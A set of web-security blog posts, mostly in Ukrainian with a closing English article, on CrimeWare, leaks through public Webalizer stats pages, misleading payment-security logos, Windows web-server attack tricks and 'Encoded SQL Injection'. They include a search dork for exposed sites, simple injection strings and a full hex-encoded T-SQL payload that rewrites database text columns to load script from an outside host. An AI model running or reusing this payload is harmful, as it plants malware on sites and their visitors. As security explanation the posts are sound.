Websecurity - Веб безпека

В своїй презентації Using Security Engineering and Formal Methods to create secure Web Applications, Nick Mathew розповідає про створення безпечних веб додатків. Про те, як використовуючи секюріті інженерію та формальні методи можна створювати безпечні веб додатки.

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• Meet-in-the-middle attack
• Brute-force attack
• Threat model
• Time-of-check-to-time-of-use
• Timeline of computer viruses and worms

В статті CrimeWare: новий виток противостояния розповідається про CrimeWare. Це фінансові шкідливі програми, тобто віруси, що призначені для викрадення фінансових даних користувачів.

Дана стаття присвячена аналізу ситуації, що склалася останнім часом в області атак шкідливих програм на клієнтів фінансових організацій. В ній описанна ситуація з протистоянням фінансових шкідливі програми як з антивірусною індустрєю, так і з фінансовим сектором. Піднямаються питання атак кіберкриміналу, технологічних можливостей антивірусної індустрії, захисту клієнтів фінансовими організаціями, пошуку ефективного рішення та державної підтримки.

Географія розподілу шкідливих хостингів, що займаються поширенням фінансових шкідливих програм достатньо широка. Серед 10 країн, на хостінгах яких найбільше розповсюджувалися фінансові віруси в першому кварталі 2010 року, є наступні: Бразилія, США, Китай, Росія, Німеччина, Франція, Іспанія, Великобританія, Південна Корея та Нідерланди.

Враховуючи дірявість e-commerce сайтів, включаючи сайти, що працюють з кредитними картами, в тому числі тих, що ховаються за секюріті логотипами, то дана тема є достатньо актуальною.

Витоки інформації на сайтах трапляються часто, такі як витоки повного шляху (Full path disclosure), витоки паролів та інші випадки витоків важливої інформації. В даній статті (запланованої в 2009) я розповім про витоки інформації через статистику відвідувань.

Системи статистики відвідувань можуть бути з обмеженим доступом (по логіну і паролю), а можуть бути і відкриті. От останні й представляють загрозу і про них буде йти мова. Тому що до відкритих систем статистики можуть дістатися усі бажаючі, в тому числі й нападники, які використають статистичну інформацію для своїх цілей.

Серед популярних статистичних систем є така система як Webalizer. Яку часто розміщують на сайті в публічному доступі (не обмеживши до неї доступ лише адміністаторам сайта). Що призводить до витоків інформації про сайт - сам багато разів знаходив Webalizer на різних сайтах . Зокрема раніше я писав про уразливості в XAMPP, серед яких є й стандартний і легковгадуємий шлях до Webalizer (доступ до якого не обмежений).

Використовуючи наступний дорк можна знайти сайти з незахищеним Webalizer, що були проіндексовані Гуглом:

intitle:”Usage Statistics for” - до 557000 сайтів. Серед них до 17100 державних сайтів, в тому числі до 2040 американських gov-сайтів.

Необмежений доступ до систем статистики відвідувань та витік інформації про неї може призвести до:

• Витоку реальних статистичних даних (які можуть не співпадати з офіційно декларуємими).
• Витоку даних про джерела трафіку.
• Витоку даних про структуру сайта, в тому числі про приховані ресурси (які також можуть бути не захищені паролем).
• В самих системах статистики відвідувань можуть бути уразливості.
• В самих прихованих ресурсах, інформація про які витікає через систему статистики відвідувань, можуть бути уразливості.

Тому варто обмежувати доступ до статистики відвібувань, щоб не допускати витоків інформації.

Продовжуючи розпочату традицію, після попереднього відео про експлоіт для Microsoft Internet Explorer, пропоную нове відео на веб секюріті тематику. Цього разу відео про eксплоіт для Adobe Flash Player. Рекомендую подивитися всім хто цікавиться цією темою.

Metasploit Adobe Flash Player Button

В відео показаний процес атаки на користувачів Flash Player та Acrobat Reader (атака також можлива через їхні плагіни до браузерів). Дана уразливість стосується Flash Player 9.0, 10.0 і 10.1, Adobe Reader 9.4, Adobe Acrobat 9.4 та будь-яких інших продуктів, що включають флеш плеєр.

Для створення експлотіа використовується Metasploit Framework. Рекомендую подивитися дане відео для розуміння векторів атак на Flash Player та інші продукти з вбудованим флеш плеєром.

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Цього разу статті на тему безпеки онлайнових електронних транзакцій.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• 3-D Secure
• Secure Electronic Transaction
• Transport Layer Security (TLS та SSL)
• Card security code
• Man-in-the-middle attack

В сезон новорічних покупок в Інтернеті, в тому числі в Уанеті, збільшується купівельна активність населення. На свята, особливо на Новорічні і Різдвяні свята, люди активно купують товари в онлайн магазинах, користуються електронними платіжними системами та іншими e-commerce сайтами.

На протязі багатьох років я неодноразово розповідав про безпеку e-commerce сайтів (як в Україні, так і інших країнах) - про дірки на сайтах онлайн магазинів, банків, електронних платіжних систем, обмінників та інших e-commerce сайтів. Тому безпека таких сайтів залишає бажати кращого, що потрібно враховувати під час онлайн шопінгу.

Серед таких уразливих e-commerce сайтів є також сайти з логотипами Verified by VISA, MasterCard SecureCode та SSL, які намагаються робити вигляд, що вони безпечні (розміщуючи ці логотипи в себе на сайтах). Як у випадку електронної платіжної системи LiqPAY. Але як добре видно з моїх новин, до бепечності таким сайтам ще далеко.

Тому інтернет користувачам при користуванні такими сайтами (особливо під час онлайн шопінгу) варто не вірити сліпо даним логотипам та офіційним заявам на дірявих сайтах, що у них все безпечно. А потрібно враховувати всю наявну інформацію про стан безпеки даних сайтів (в тому числі й інформацію в моїх новинах).

Бо як видно на прикладі LiqPAY, e-commerce сайти часто ховаються за секюріті логотипами, зокрема Verified by VISA, MasterCard SecureCode та SSL. Намагаючись таким чином задурити людям голову (при цьому зовсім не слідкуючи або недостатньо слідкуючи за безпекою). Незважаючи на назви цих технологій, вони не зможуть захистити від дірявих сайтів, через які нападники можуть дістатися до ваших онлайн гаманців та пластикових карток.

Технологія SSL вирішує лише невелике коло завдань для підвищення безпеки взаємодії користувача з сайтом і вона не врятує від дірок на сайті. А технології Verified by VISA, MasterCard SecureCode та ряд інших (J/Secure і SafeKey) - це технології, що базуються на стандарті 3-D Secure, і вони лише додають додатковий рівень безпеки, але вони не врятують від дірок на сайті. Тому за безпекою сайту також потрібно слідкувати і проводити аудит, зокрема PCI DSS (але зазначу, що я писав і про діряві PCI DSS сайти, як то easypay.ua).

До того ж електронні платіжні системи, що працюють з пластиковими картками, повинні відповідати PCI DSS. Але LiqPAY не відповідає даному стандарту, не має PCI DSS сертифіката. Зате має інші сертифікати, які для них було дешевше отримати, ніж проходити PCI DSS сертифікацію. Логотипи яких вони розмістили на сайті, роблячи тим самим вигляд і вводячи людей в оману, що в них все безпечно (що не так, враховуючи численні дірки) і вони мають необхідні сертифікати (при цьому не маючи PCI DSS сертифіката). Тобто вони намагаються підмінити необхідні сертифікати (PCI DSS) тими, які є додатковими (які можуть використовуватися на додаток до необхідних, але не замість них).

У веб серверів, що розміщені на ОС Windows, є свої особливості. Й окрім тих атак, що можуть проводитися на сайти на серверах з Linux та іншими ОС, на сайти на серверах з Windows можуть проводитися деякі інші атаки. Дані атаки можуть використовуватися для отримання даних (information leakage) та вихідних кодів скриптів (source code disclosure), а в деяких випадках для виконання довільного коду.

До таких атак відносяться:

1. Directory Traversal з використанням зворотного слеша. Про дану атаку я вже розповідав в статті Використання back slash для Directory Traversal атак.

2. Використання Alternative Data Streams (ADS) в NTFS.

3. Використання “;” проти Microsoft IIS.

4. Використання 8.3 імен файлів та директорій.

5. Використання пробільних символів наприкінці імені файлу. Це може використовуватися на уразливих веб серверах як під Windows, так і Linux та інших ОС.

6. Використання “.” наприкінці імені файлу або директорії. Це може використовуватися на уразливих веб серверах як під Windows, так і Linux та інших ОС.

7. Використання верхнього регістру в іменах папок. Це можливо в Apache під Windows.

8. Використання імен папок з розширенням “.asp” проти IIS.

Деякі з наведених атак працюють лише на вразливих веб серверах, а деякі (як перша) - на усіх веб серверах з ОС Windows.

Продовжуючи розпочату традицію, після попереднього відео про безпеку веб шлюзу, пропоную нове відео на веб секюріті тематику. Цього разу відео про eксплоіт для Microsoft Internet Explorer. Рекомендую подивитися всім хто цікавиться цією темою.

Metasploit Internet Explorer CSS Tags

В відео показаний процес атаки на користувачів IE через пошкодження пам’яті в бібліотеці mshtml.dll. Дана уразливість стосується Internet Explorer 6, 7 і 8. Для створення експлотіа використовується Metasploit Framework. Рекомендую подивитися дане відео для розуміння векторів атак на браузер Internet Explorer.

This is English version of my Encoded SQL Injection vulnerabilities article.

In article Advanced methods of SQL Smuggling, I mentioned about Encoded SQL Injection - new class of SQL Injection, which I found in 2009. I.e. this is subclass of SQL Injection vulnerabilities. And now I’ll tell you about it in detail.

Last year, 17.05.2009, I found SQLi vulnerability which I related to new type of SQL Injection - Encoded SQL Injection. About Encrypted XSS (Encoded XSS) I already mentioned many times, and in this article I’d tell about Encoded SQLi. In classification of SQL Injection vulnerabilities (in 2008) I gave two types of SQLi - Reflected SQL Injection and Persistent SQL Injection. So Encoded SQL Injection will be third type.

These vulnerabilities allow to bypass protection systems - as built-in in web application protection filters, as installed at the server IDS, IPS and WAF systems. Therefore I related this type of SQL Injection vulnerabilities to advanced methods of SQL Smuggling.

Types of Encoded SQL Injection.

There are next types of Encoded SQL Injection:

• Partly encoded SQLi.
• Completely encoded SQLi.

If first type still can be revealed by some protection systems (if they set on appropriate operators of SQL language), then second type will not be entirely revealed by current protections systems. Besides those systems which support decoding of this encoding method.

Partly encoded SQLi.

In case of partly encoded SQL Injection, data which is sending to DBMS is encoding only partly. It’s when only some part of SQL code is encoded (e.g. via CAST). Encoding of strings for bypassing of quotes filtration is not relating to this.

As in case mentioned in the post Encoded SQL Injection, when this type of SQLi is using for attack on one site (at that on usual SQLi vulnerability):

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);--

Completely encoded SQLi.

In case of completely encoded SQL Injection, data which is sending to DBMS is encoding completely. So the whole SQL query is encoded (at interface level) and only at web application level it is decoding for sending to DBMS. Particularly in variant of encoded SQL Injection, which I found last year, base64 encoding is using.

When web application is using base64-stings for sending of values to web application, it can be used for conducting of Encoded SQLi attacks.

For example, string ‘ or 1=1# will become JyBvciAxPTEj. And string ‘ and 1=’1 will become JyBhbmQgMT0nMQ==.

And at level of external protection systems, which don’t support decoding of data which is sending to web application, these and other encoded strings will not cause any suspicions. So installed at the server IDS, IPS and WAF systems will can’t reveal these attack (and it’ll be hard to reveal them in the logs). And these attacks will pass successfully bypassing of protection systems.